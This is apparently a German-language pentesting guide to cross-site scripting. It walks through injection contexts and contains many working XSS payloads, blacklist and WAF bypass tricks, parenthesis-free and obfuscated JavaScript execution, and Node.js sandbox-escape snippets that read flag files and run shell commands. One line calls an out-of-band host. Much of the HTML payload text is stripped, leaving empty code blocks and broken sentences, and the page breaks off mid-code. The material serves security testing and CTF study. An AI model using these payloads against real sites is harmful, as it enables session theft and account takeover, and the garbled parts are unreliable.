# XSS (Cross Site Scripting) ## Methodologie 1. Überprüfen Sie, ob **irgendein Wert, den Sie kontrollieren** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird. 2. **Finden Sie den Kontext**, in dem es reflektiert/verwendet wird. 3. Wenn **reflektiert**: 1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem die Payload vor: 1. In **rohem HTML**: 1. Können Sie neue HTML-Tags erstellen? 2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen? 3. Können Sie Schutzmaßnahmen umgehen? 4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert, könnten Sie eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen. 5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen? 2. Innerhalb eines **HTML-Tags**: 1. Können Sie in den rohen HTML-Kontext wechseln? 2. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen? 3. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS? 4. Können Sie Schutzmaßnahmen umgehen? 3. Innerhalb **JavaScript-Code**: 1. Können Sie das ``**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert: - Wenn sie zwischen **``**-Tags reflektiert wird, können Sie versuchen, `` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes ``-Tag im HTML-Code enthalten ist. - Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass Sie Szenarien ausnutzen können, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.**\ **Überprüfen Sie die folgende Seite für weitere Informationen:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Funktion Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`. Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parameterwert zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie: ![](<../../images/image (711).png>) Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alert auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte **den Inhalt validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**). Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen durchzuführen. Das liegt daran, dass Sie diese gültigen Zeichen verwenden können, um **auf jedes Element im DOM zuzugreifen**: ![](<../../images/image (747).png>) Einige nützliche Funktionen dafür: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`. In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, **andere Seiten im selben Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen. Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen. {{#ref}} dom-xss.md {{#endref}} ### **Universelles XSS** Diese Art von XSS kann **überall** gefunden werden. Sie hängt nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar ausgenutzt werden, um **RCE** zu erhalten, **beliebige** **Dateien** auf Clients und Servern zu lesen und mehr.\ Einige **Beispiele**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF-Bypass-Codierung Bild ![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## In rohes HTML injizieren Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und überprüfen Sie, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\ Für diese Fälle sollten Sie auch **im Hinterkopf behalten** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Hinweis: Ein HTML-Kommentar kann mit\*\***\***\*`-->`\*\***\***\*oder \*\***`--!>`\*\*geschlossen werden._ In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden: ```html ``` Aber wenn Tags/Attribute Black-/Whitelisting verwendet wird, müssen Sie **brute-forcen, welche Tags** Sie erstellen können.\ Sobald Sie **herausgefunden haben, welche Tags erlaubt sind**, müssen Sie **Attribute/Ereignisse** innerhalb der gefundenen gültigen Tags brute-forcen, um zu sehen, wie Sie den Kontext angreifen können. ### Tags/Ereignisse brute-force Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Ereignisse brute-forcen** mit den gültigen Tags (klicken Sie auf derselben Webseite auf _**Ereignisse in die Zwischenablage kopieren**_ und folgen Sie dem gleichen Verfahren wie zuvor). ### Benutzerdefinierte Tags Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, **ein benutzerdefiniertes Tag zu erstellen** und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**: ``` /?search=#x ``` ### Blacklist Bypasses Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen einfachen Tricks zu umgehen: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Beachten Sie, dass es **nicht funktioniert**, wenn Sie **beide** `URLencode + HTMLencode` in beliebiger Reihenfolge verwenden, um die **Payload** zu kodieren, aber Sie können **sie innerhalb der Payload mischen**. **Verwendung von Hex- und Oktal-Kodierung mit `javascript:`** Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse Tab-Nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta) Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben auszunutzen mit:** ```html ``` Und in **Meta-Tags**: ```html
Newsletter popup
``` Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor: ```html ``` **Die XSS-Payload wird ungefähr so aussehen: `" accesskey="x" onclick="alert(1)" x="`** ### Blacklist-Umgehungen Mehrere Tricks mit verschiedenen Kodierungen wurden bereits in diesem Abschnitt vorgestellt. Gehe **zurück, um zu lernen, wo du verwenden kannst:** - **HTML-Kodierung (HTML-Tags)** - **Unicode-Kodierung (kann gültiger JS-Code sein):** `\u0061lert(1)` - **URL-Kodierung** - **Hex- und Oktal-Kodierung** - **Datenkodierung** **Umgehungen für HTML-Tags und Attribute** Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses). **Umgehungen für JavaScript-Code** Lies die [JavaScript-Umgehungs-Blacklist des folgenden Abschnitts](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Raum, den dieses Element einnimmt, zu modifizieren**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird. Zum Beispiel könntest du dem Element ein Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest > .test {display:block; color: blue; width: 100%\} und > \#someid {top: 0; font-family: Tahoma;} Jetzt kannst du unseren Link modifizieren und in die Form bringen > \ Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) übernommen. ## Injektion in JavaScript-Code In diesem Fall wird dein **Input** **im JS-Code** einer `.js`-Datei oder zwischen ``-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**. ### Escaping des \` eingefügt wird, könntest du leicht **das schließende ` ``` Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nicht einmal geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach. ### Innerhalb des JS-Codes Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }` Syntax **einzubetten**.\ Wenn Sie also feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen: Dies kann **missbraucht** werden mit: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Codierte Codeausführung ```html ``` **Javascript in einem Kommentar** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript ohne Klammern** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Willkürlicher Funktionsaufruf (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **DOM-Sicherheitsanfälligkeiten** Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\ **Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzt**.\ Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist. ### Selbst-XSS aufrüsten ### Cookie-XSS Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine **anfällige Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dazu können Sie den Cookie-Tossing-Angriff verwenden: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Sie finden einen großartigen Missbrauch dieser Technik in [**diesem Blogbeitrag**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Ihre Sitzung an den Administrator senden Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Sicherheitsanfälligkeit auslösen. ### Sitzungs-Spiegelung Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus. Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen. ## Andere Umgehungen ### Normalisierte Unicode Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Client-Seite) **unicode-normalisiert** werden und diese Funktionalität ausnutzen, um Schutzmaßnahmen zu umgehen. [**Hier ein Beispiel finden**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL-Flag-Umgehung ```javascript ">"@x.y ``` ### Ruby-On-Rails Bypass Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\ Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Das Paar "Key","Value" wird wie folgt zurückgegeben: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Dann wird das onfocus-Attribut eingefügt und XSS tritt auf. ### Besondere Kombinationen ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS mit Header-Injection in einer 302-Antwort Wenn Sie feststellen, dass Sie **Header in einer 302-Redirect-Antwort injizieren** können, könnten Sie versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist. In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie lesen, wie Sie mehrere Protokolle im Location-Header testen können und ob eines von ihnen es dem Browser ermöglicht, die XSS-Nutzlast im Körper zu inspizieren und auszuführen.\ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`. ### Nur Buchstaben, Zahlen und Punkte Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, ist dies auf diese Zeichen beschränkt. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können. ### Gültige ` ``` Die Antwort ist: - **Modul** (Standard, nichts zu erklären) - [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei bündeln können. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der Import-Syntax ```html ``` Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten, um auszunutzen, dass es XSS auslösen kann. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch das Vorab-Rendering verursacht werden. Es funktioniert so: ```html ``` ### Web Content-Types zu XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Inhaltstypen können XSS in allen Browsern ausführen: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen) - application/rss+xml (aus) - application/atom+xml (aus) In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen, siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Inhaltstyp Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Namensraum anzugeben und beliebiges JS auszuführen: ```xml hello ``` ### Besondere Ersetzungsmuster Wenn etwas wie **`"some {{template}} data".replace("{{template}}", )`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen. ### Chrome-Cache zu XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails Escape Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen: - Verwendung von import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Indirekter Zugriff auf `require` [Nach diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingekapselt, wie folgt: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Daher, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Fehlerbehandler** zu verwenden, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuskation & Fortgeschrittene Umgehung - **Verschiedene Obfuskationen auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Mehr ausgeklügeltes JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = 